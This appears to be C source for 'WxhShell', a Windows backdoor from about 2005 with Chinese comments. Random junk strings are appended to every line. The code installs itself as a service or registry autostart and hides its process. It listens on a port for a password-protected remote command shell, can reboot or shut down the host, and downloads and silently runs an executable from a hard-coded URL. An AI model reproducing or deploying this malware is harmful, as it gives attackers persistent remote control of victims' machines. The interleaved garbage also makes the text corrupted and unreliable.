c}(H*VY2n
PROCNTQSIP NtQueryInformationProcess; 5cPyi/
W3le)&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d{YvdN9d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >jt2vU@t.
NY7yk3
HANDLE hProcess; }$_@yt<{W@
PROCESS_BASIC_INFORMATION pbi; %,\JTN|g|A
Y-ao
yoNS
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2+9VDf2
if(NULL == hInst ) return 0; C:B 7%<
7P1Pk?pxy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7ws<' d7/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Gmnck&+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h%/BZC^L]|
3^/w`(-{@
if (!NtQueryInformationProcess) return 0; <K0epED
r `PJb5^\|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yCxYFi
if(!hProcess) return 0; b1C)@gl !Z
WE\TUENac(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D40 vCax^J
gH//@`6
CloseHandle(hProcess); s!IIvF
bv4umL /
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Da-Lf2qT9
if(hProcess==NULL) return 0; AYn65Ly
@1*^ttC
HMODULE hMod; ji ?Hw
char procName[255]; )Q1>j 2&
unsigned long cbNeeded; 7( 84j5zb
~$y"Ldrp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h4]^~stI
>+{WiZ`
CloseHandle(hProcess); @}
Ig*@
xSudDhRP
if(strstr(procName,"services")) return 1; // 以服务启动 FOF@@C~aH
Kn^+kHh:
return 0; // 注册表启动 0x<ASfka
} @_do<'a
:qE.(k1@5
// 主模块 7eCjp
int StartWxhshell(LPSTR lpCmdLine) >M#@vIo?<6
{ u
IXA{89
SOCKET wsl; d27q,2f!
BOOL val=TRUE; %Xh}{ o$G
int port=0; Kg6J:HD49
struct sockaddr_in door; $5XAS
33~MP;
if(wscfg.ws_autoins) Install(); %r|sb=(yT
_}5vO$kdO
port=atoi(lpCmdLine); p)SW(pS
:'T+`(
if(port<=0) port=wscfg.ws_port; ] hT\"5&6
,SIS3A>s
WSADATA data; -@XSDfy7S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Q>xVlPVu
K+~?yOQj
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vm! y2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^os_j39N9
door.sin_family = AF_INET; }R;}d(C`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /bykIUTKI
door.sin_port = htons(port); `"=Hk@E
MnD}i&k[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,8384'
closesocket(wsl); Fn5BWV
return 1; 6) i-S<(
} fizW\f8ai
2WS*c7Ct
if(listen(wsl,2) == INVALID_SOCKET) { qU#A,%kcV
closesocket(wsl); $6n
J+
return 1; &MH8~LSb
} HVa D
Wxhshell(wsl); syr0|K[
WSACleanup(); L"jA#ULg
Nk@-yZ@,8
return 0; !\#Wq{p>W*
?q`i
MiN
} Zv}F?4T~:
5ih>x3S1/
// 以NT服务方式启动 rfonM~3?'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6 ZRc|ZQ
{ wnC-~&+6
DWORD status = 0; F%V|Aa
DWORD specificError = 0xfffffff; Ct'tUF<K5
#;8)UNc)}
serviceStatus.dwServiceType = SERVICE_WIN32; Vja 4WK*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5=V"tQ&d9U
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3u
j|jwL
serviceStatus.dwWin32ExitCode = 0; m%.4OXX"&
serviceStatus.dwServiceSpecificExitCode = 0; 0y|1@CS
serviceStatus.dwCheckPoint = 0; lq.:/_m0
serviceStatus.dwWaitHint = 0; yhgGvyD
J3y_JoS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2D%2k
if (hServiceStatusHandle==0) return; oU)(/
6Mk#) ebM
status = GetLastError(); 3chx4
if (status!=NO_ERROR) ~U w<e~
{ Aq(cgTNW
serviceStatus.dwCurrentState = SERVICE_STOPPED; :uAL(3pQ
serviceStatus.dwCheckPoint = 0; ;R6f9tu2
serviceStatus.dwWaitHint = 0; z$1|D{
serviceStatus.dwWin32ExitCode = status; Yp(0 XP5o
serviceStatus.dwServiceSpecificExitCode = specificError; zx<t{e7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KK 7}q<&i
return; ;q'-<O
} h<LS`$PK;E
"yH?df24
serviceStatus.dwCurrentState = SERVICE_RUNNING; p[&Jl
serviceStatus.dwCheckPoint = 0; &FmTT8"l
serviceStatus.dwWaitHint = 0; ^nZ=B>Yn2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3]1 !g6
} TNh&g.
U;3t{~Ym
// 处理NT服务事件,比如:启动、停止 H,c1&hb/w
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,62~u'hR5
{ .}F
39TS2
switch(fdwControl) _t,aPowX
{ bCP2_h3*
case SERVICE_CONTROL_STOP: @ *Jbp
serviceStatus.dwWin32ExitCode = 0; :kcqf,7
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mh3.GpS
serviceStatus.dwCheckPoint = 0; kT
serviceStatus.dwWaitHint = 0; \roJf&O }
{ a
7v^o`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<Y3*^~5d
} 3VU4E|s>
return; i9 CQ~
case SERVICE_CONTROL_PAUSE: (ID%U
serviceStatus.dwCurrentState = SERVICE_PAUSED; i'CK/l.H
break; W 8`6O2
case SERVICE_CONTROL_CONTINUE: {_W8Qm`.
serviceStatus.dwCurrentState = SERVICE_RUNNING; P_jav0j7g
break; {
#B/4
case SERVICE_CONTROL_INTERROGATE: gjD|f2*x
break; ,y"vf^BE.
}; 0-OKbw5%=b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P;(@"gD8z5
} cb'Ya_
k2loGvBJ
// 标准应用程序主函数 hc$m1lLn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {pi_yr3
{ z( ^?xv
CUdpT$ $x3
// 获取操作系统版本 PC"=B[OlJ
OsIsNt=GetOsVer(); '/D2d
GetModuleFileName(NULL,ExeFile,MAX_PATH); yS
K81`
@fA|y
// 从命令行安装 :xmj42w>^
if(strpbrk(lpCmdLine,"iI")) Install(); nQ'NS
V!*1F1
// 下载执行文件 VxOWv8}|
if(wscfg.ws_downexe) { )6"p@1\u
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i\Yd_
WinExec(wscfg.ws_filenam,SW_HIDE); _)LXD,LA
} AzzHpfv,
^^k9Acd~p
if(!OsIsNt) { O|Vc
// 如果时win9x,隐藏进程并且设置为注册表启动 kDJqT
HideProc(); 'G[G;?F
StartWxhshell(lpCmdLine); a{^2c!
} ?~sNu k
else D0
q42+5
if(StartFromService()) DHjfd+E=s
// 以服务方式启动 EGFP$nvq
StartServiceCtrlDispatcher(DispatchTable); US's`Ehx
else /J"fbBXwY
// 普通方式启动 ;9#W#/B
StartWxhshell(lpCmdLine); k!z.6di
y] 9/Xr/
return 0; V"gKk$j7
} [T'[7Z
pi70^`@ 'B
K)1Lg?j
F;/^5T3wI
=========================================== q b=%W
4a!%eBhX"K
37IHn6r\
`X()"Qw
E>E^t=;[
O\oRM2^u}
" u46Z}~xf b
lpB:lRM
#include <stdio.h> iBWEZw)
#include <string.h> mJ[_q>
#include <windows.h> N*PJ m6-
#include <winsock2.h> W4#DeT
#include <winsvc.h> WcXNc`x
#include <urlmon.h> 18kWnF]n=
rHybP6C<
#pragma comment (lib, "Ws2_32.lib") 7N5M=f.DS(
#pragma comment (lib, "urlmon.lib") ~ e<,GUx(]
#PC*l\
)
#define MAX_USER 100 // 最大客户端连接数 !Dc;R+Ir0!
#define BUF_SOCK 200 // sock buffer @^#
9N!Fj]
#define KEY_BUFF 255 // 输入 buffer Xmb##:
lR
F5/
#define REBOOT 0 // 重启 ^%6f%]_
#define SHUTDOWN 1 // 关机 uHZjpMoM
"N EKz
#define DEF_PORT 5000 // 监听端口 /r&4< @
.'l3NV^{
#define REG_LEN 16 // 注册表键长度 1 K^-tms
#define SVC_LEN 80 // NT服务名长度 -nD}k
N!tNRMTi
// 从dll定义API S@
y! 0,
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1j}e2H
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F7=\*U
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tmeg=U7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dl\0xcE
D4@(_6^
// wxhshell配置信息 1xsJz^%V
struct WSCFG { U(~Nmo'
int ws_port; // 监听端口 P;X0L{u0H
char ws_passstr[REG_LEN]; // 口令 1b7?6CqV
int ws_autoins; // 安装标记, 1=yes 0=no 3+C;zDKa
char ws_regname[REG_LEN]; // 注册表键名 d;3f80Kd*
char ws_svcname[REG_LEN]; // 服务名 Q/HEWk
char ws_svcdisp[SVC_LEN]; // 服务显示名 "79b>
char ws_svcdesc[SVC_LEN]; // 服务描述信息 'Vhnio;qC
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]g%HU%R-m
int ws_downexe; // 下载执行标记, 1=yes 0=no =8]Ru(#Ig
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DU5rB\!.~
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hsK(09:J
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}; h7xgLe@
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// default Wxhshell configuration 11!4#z6w
struct WSCFG wscfg={DEF_PORT, Kr4%D*
"xuhuanlingzhe", >;s2V_d
1, (f*r
"Wxhshell", i1HO>X:ea
"Wxhshell", UU#$Kt*frR
"WxhShell Service", O`~L*h_
"Wrsky Windows CmdShell Service", 5a&gdqg]
"Please Input Your Password: ", :X 1Y
1, <rU+{&FKNL
"http://www.wrsky.com/wxhshell.exe", $M|vIw{#
"Wxhshell.exe" ZS&lXgo
}; y7z ,I
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// 消息定义模块 n*~#]%4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; On+0@hh
char *msg_ws_prompt="\n\r? for help\n\r#>"; I
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char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nF
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char *msg_ws_ext="\n\rExit."; "nNT9
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char *msg_ws_end="\n\rQuit."; b#S-u }1PE
char *msg_ws_boot="\n\rReboot..."; Hjy4tA7,l
char *msg_ws_poff="\n\rShutdown..."; Ds8x9v)^
char *msg_ws_down="\n\rSave to "; 2\Yv;J+;
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char *msg_ws_err="\n\rErr!"; JgldC[|7
char *msg_ws_ok="\n\rOK!"; ?Xp+5{
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char ExeFile[MAX_PATH]; {Q0DHNP(G
int nUser = 0; pTYV@5|
HANDLE handles[MAX_USER]; $bk_%R}s
int OsIsNt; <@v|~AO4~
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SERVICE_STATUS serviceStatus; kChCo0Q>1
SERVICE_STATUS_HANDLE hServiceStatusHandle; Ak\"C4s
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// 函数声明 ;FjI!V
int Install(void); (`f)Tt=`
int Uninstall(void); \@7 4I7
int DownloadFile(char *sURL, SOCKET wsh); v;"
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int Boot(int flag); g^k=z:n3,
void HideProc(void); :*Z@UY
int GetOsVer(void); +AOpB L'
int Wxhshell(SOCKET wsl); 4 ..V
void TalkWithClient(void *cs); dQ Ao~]B
int CmdShell(SOCKET sock); PO0/C q)
int StartFromService(void); z|N*Gs>,
int StartWxhshell(LPSTR lpCmdLine); Z^yn S
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h)?Km{u%
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ">R`S<W
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// 数据结构和表定义 jx];=IC3tt
SERVICE_TABLE_ENTRY DispatchTable[] = zvbz3 a
{ YZ5[# E@l
{wscfg.ws_svcname, NTServiceMain}, OKNGV,{`
{NULL, NULL} 'i8?]`
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}; x1QL!MB
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// 自我安装 rK
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int Install(void) JU-eoB}m
{ Dl=vv9
char svExeFile[MAX_PATH]; x>[ gShAV!
HKEY key; k%({<